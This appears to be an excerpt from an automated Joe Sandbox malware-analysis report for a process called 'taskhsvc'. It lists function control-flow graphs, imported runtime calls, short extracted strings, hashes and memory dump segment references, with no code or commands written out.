                                        • Instruction ID: 29394c4990899f23ccadf7a9c968c16b32ec58fce242d401e3c0e9aea3642ed0
                                        • Opcode Fuzzy Hash: 6d0912d2b71c9eb16105d6799d76b6aab984e8f0a0d0b27f1ba5b3e0b084ec85
                                        • Instruction Fuzzy Hash: BBA27F78A04724CFDB20DF28C985B5AB7F1BF89304F0185A9E988AB355D774DE818F52
                                        Function 00C62BF9 Relevance: 23.3, APIs: 9, Strings: 4, Instructions: 509COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 985 c62bf9-c62c5b 986 c62c8e-c62c9a 985->986 987 c62c5d-c62c89 call d16562 call d19764 abort 985->987 988 c62c9c-c62cc8 call d16562 call d19764 abort 986->988 989 c62ccd-c62cdf 986->989 987->986 988->989 992 c62d26-c62d32 989->992 993 c62ce1-c62cf3 989->993 997 c62d34-c62d60 call d16562 call d19764 abort 992->997 998 c62d65-c62dc6 call c1f792 call c628d0 call c61a83 992->998 993->992 996 c62cf5-c62d21 call d16562 call d19764 abort 993->996 996->992 997->998 1017 c62dcd 998->1017 1018 c62dc8-c62dcb 998->1018 1019 c62dd0-c62de3 call d2d7f2 1017->1019 1018->1019 1022 c62de5-c62de8 1019->1022 1023 c62dea 1019->1023 1024 c62ded-c62e05 1022->1024 1023->1024 1025 c62e07-c62e34 call d13842 1024->1025 1026 c62e39-c62e49 1024->1026 1025->1026 1028 c62e7f-c62e8d call c62bb3 1026->1028 1029 c62e4b-c62e7a call c60d16 call d13842 1026->1029 1035 c62ee5-c62ee9 1028->1035 1036 c62e8f-c62e9b 1028->1036 1029->1028 1037 c62eeb-c62ef8 call c62895 1035->1037 1038 c62f38-c62f3c 1035->1038 1036->1035 1039 c62e9d-c62eb2 call cfd4da 1036->1039 1037->1038 1052 c62efa-c62eff 1037->1052 1040 c62f94-c62f99 1038->1040 1041 c62f3e-c62f42 1038->1041 1039->1035 1049 c62eb4-c62ee0 call d16562 call d19764 abort 1039->1049 1045 c62fae-c62fb2 1040->1045 1046 c62f9b-c62fa8 call d2d28c 1040->1046 1041->1040 1044 c62f44-c62f4f 1041->1044 1044->1040 1050 c62f51-c62f5c 1044->1050 1053 c62fb4-c62fb9 1045->1053 1054 c62fbb 1045->1054 1046->1045 1064 c63036-c630f8 call c609e7 call be9090 call d2d7f2 call d2dfe3 memcpy 1046->1064 1049->1035 1056 c62f5e-c62f69 1050->1056 1057 c62f6b-c62f8f call d13842 1050->1057 1059 c62f06 1052->1059 1060 c62f01-c62f04 1052->1060 1061 c62fc0-c62fc4 1053->1061 1054->1061 1056->1040 1056->1057 1075 c633ee-c633f7 1057->1075 1065 c62f0b-c62f33 call d13842 1059->1065 1060->1065 1066 c62fc6-c62fcb 1061->1066 1067 c62fcd 1061->1067 1091 c63110-c63114 1064->1091 1092 c630fa-c6310a call cfcb43 1064->1092 1065->1075 1068 c62fd2-c63005 call d13842 1066->1068 1067->1068 1082 c633ed 1068->1082 1083 c6300b-c63031 call d2b478 1068->1083 1078 c633fe-c63406 1075->1078 1079 c633f9 __stack_chk_fail 1075->1079 1079->1078 1082->1075 1083->1082 1094 c63213-c63217 1091->1094 1095 c6311a-c6311e 1091->1095 1092->1091 1098 c63220 1094->1098 1099 c63219-c6321e 1094->1099 1095->1094 1097 c63124-c6312f 1095->1097 1100 c63156-c63183 call beceb7 1097->1100 1101 c63131-c63152 call d2d7f2 1097->1101 1102 c63225-c6322c 1098->1102 1099->1102 1114 c631c4-c6320e call c63779 call bc2258 1100->1114 1115 c63185-c63188 1100->1115 1101->1100 1105 c6322e-c63232 1102->1105 1106 c6325a-c6325e 1102->1106 1105->1106 1111 c63234-c63258 time call bcf356 1105->1111 1107 c63260-c63264 1106->1107 1108 c63288-c632dd call c1c367 1106->1108 1107->1108 1112 c63266-c63283 time call bcef5a 1107->1112 1124 c632df-c63328 call d13842 call d16562 call bea80c 1108->1124 1125 c6332d-c63342 call bc1956 1108->1125 1111->1108 1112->1108 1114->1075 1121 c631bd-c631c0 1115->1121 1122 c6318a-c6318d 1115->1122 1121->1114 1122->1075 1126 c63193-c631b8 call d16562 call bea80c 1122->1126 1124->1075 1136 c63344-c6338d call d13842 call d16562 call bea80c 1125->1136 1137 c6338f-c633c8 call c63779 1125->1137 1126->1075 1136->1075 1144 c633cd-c633eb call bc2258 call bc262a 1137->1144 1144->1075
                                        APIs
                                        • abort.MSVCRT ref: 00C62EE0
                                        • abort.MSVCRT ref: 00C62C89
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • abort.MSVCRT ref: 00C62CC8
                                        • abort.MSVCRT ref: 00C62D21
                                        • memcpy.MSVCRT ref: 00C6309D
                                        • time.MSVCRT ref: 00C6323B
                                        • time.MSVCRT ref: 00C63277
                                          • Part of subcall function 00BCEF5A: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C63288), ref: 00BCEFB4
                                          • Part of subcall function 00BCEF5A: __stack_chk_fail.LIBSSP-0 ref: 00BCF033
                                        • abort.MSVCRT ref: 00C62D60
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C633F9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail$strrchrtime$memcpy
                                        • String ID: (NULL)$a Dir$an OR$begindir
                                        • API String ID: 1551485141-89711824
                                        • Opcode ID: 4c49860f4ac7b87b8a20d39b6cf4a468363fa92208e90965ed8c1f3263288857
                                        • Instruction ID: f50c9d8767dfbb8158213f685c0605250564d454d96af1ed66c5417156fe3039
                                        • Opcode Fuzzy Hash: 4c49860f4ac7b87b8a20d39b6cf4a468363fa92208e90965ed8c1f3263288857
                                        • Instruction Fuzzy Hash: 5C3206B09093459FDB10EFA5D1846ADBBF1BF88304F00882EE994AB351D778D985DF62
                                        Function 00D1284F Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 255stringCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 1695 d1284f-d1289a 1696 d128b8-d128db call d12523 1695->1696 1697 d1289c-d128b3 call df8710 1695->1697 1700 d128e0-d128f5 1696->1700 1697->1696 1701 d129a2-d129a6 1700->1701 1702 d128fb-d1290c 1700->1702 1703 d12a17-d12a1e 1701->1703 1704 d129a8-d129bc call d123fc 1701->1704 1705 d12912-d12924 1702->1705 1706 d12995-d12996 1702->1706 1709 d12a20-d12a29 1703->1709 1710 d12a4f-d12a7e call d16065 1703->1710 1704->1703 1718 d129be-d129c5 1704->1718 1707 d12926-d12956 call d14f0d 1705->1707 1708 d12998-d12999 1705->1708 1706->1701 1721 d12958-d1296a 1707->1721 1722 d1299b-d1299c 1707->1722 1708->1701 1709->1710 1713 d12a2b-d12a4b memcpy 1709->1713 1723 d12a80-d12a84 1710->1723 1724 d12abc-d12ac6 1710->1724 1713->1710 1719 d129c7-d129cc 1718->1719 1720 d129ce 1718->1720 1725 d129d3-d129ff call d16005 1719->1725 1720->1725 1728 d1296c-d1297e 1721->1728 1729 d1299e-d1299f 1721->1729 1722->1701 1730 d12ab4-d12aba 1723->1730 1731 d12a86-d12aaf call d15895 1723->1731 1726 d12b05-d12b0c 1724->1726 1727 d12ac8-d12adf strlen 1724->1727 1743 d12a11-d12a14 1725->1743 1744 d12a01-d12a0f strlen 1725->1744 1734 d12b3d-d12b6d 1726->1734 1735 d12b0e-d12b17 1726->1735 1727->1726 1733 d12ae1-d12b02 memcpy 1727->1733 1736 d129a1 1728->1736 1737 d12980-d12993 1728->1737 1729->1701 1730->1726 1731->1730 1733->1726 1741 d12b74-d12b79 1734->1741 1742 d12b6f __stack_chk_fail 1734->1742 1735->1734 1740 d12b19-d12b39 memcpy 1735->1740 1736->1701 1737->1701 1740->1734 1742->1741 1743->1703 1744->1703
                                        APIs
                                          • Part of subcall function 00DF8710: strlen.MSVCRT ref: 00DF872A
                                          • Part of subcall function 00DF8710: malloc.MSVCRT ref: 00DF8736
                                          • Part of subcall function 00DF8710: strlen.MSVCRT ref: 00DF8740
                                          • Part of subcall function 00DF8710: malloc.MSVCRT ref: 00DF874C
                                          • Part of subcall function 00DF8710: free.MSVCRT ref: 00DF87AC
                                        • strlen.MSVCRT ref: 00D12A07
                                        • memcpy.MSVCRT ref: 00D12A46
                                        • strlen.MSVCRT ref: 00D12ACE
                                        • memcpy.MSVCRT ref: 00D12AFA
                                        • memcpy.MSVCRT ref: 00D12B34
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D12B6F
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: strlen$memcpy$malloc$__stack_chk_failfree
                                        • String ID: #$#$%s(): $%s:
                                        • API String ID: 3939626693-1525097197
                                        • Opcode ID: 0bbe539f63565da61012e153904f9e1e30f044908c0d8c252d9938e31f2c84ec
                                        • Instruction ID: b89f6660b343916240f34858d2b62ea63f59e279711f763975caf8c9b7706b26
                                        • Opcode Fuzzy Hash: 0bbe539f63565da61012e153904f9e1e30f044908c0d8c252d9938e31f2c84ec
                                        • Instruction Fuzzy Hash: 9BC18D74E08209AFCB00DFA9D485AEEBBF1BF48314F189519E858E7315E735A891CF61
                                        Function 00CC4A03 Relevance: 16.3, APIs: 6, Strings: 3, Instructions: 501COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00CC4A5D
                                          • Part of subcall function 00C08ADA: __stack_chk_fail.LIBSSP-0 ref: 00C08D09
                                        • memset.MSVCRT ref: 00CC4AC9
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CC5376
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortmemset
                                        • String ID: <unnamed>$CREATE$CREATE_FAST
                                        • API String ID: 4235535680-4206345129
                                        • Opcode ID: af910ab81a6e693a6e1fa9ca979b27739fc654bcb1e3c09cf0603e1d2acc5306
                                        • Instruction ID: 189614b89852ca490c2f8aa6e14ee959c10f051dfe5d23ada5891982002be690
                                        • Opcode Fuzzy Hash: af910ab81a6e693a6e1fa9ca979b27739fc654bcb1e3c09cf0603e1d2acc5306
                                        • Instruction Fuzzy Hash: 6A4208B0908714DFCB10EF25C4857AEBBF0AF44305F05889DE998AB252D778DA88DF56
                                        Function 00BD61E4 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 256COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
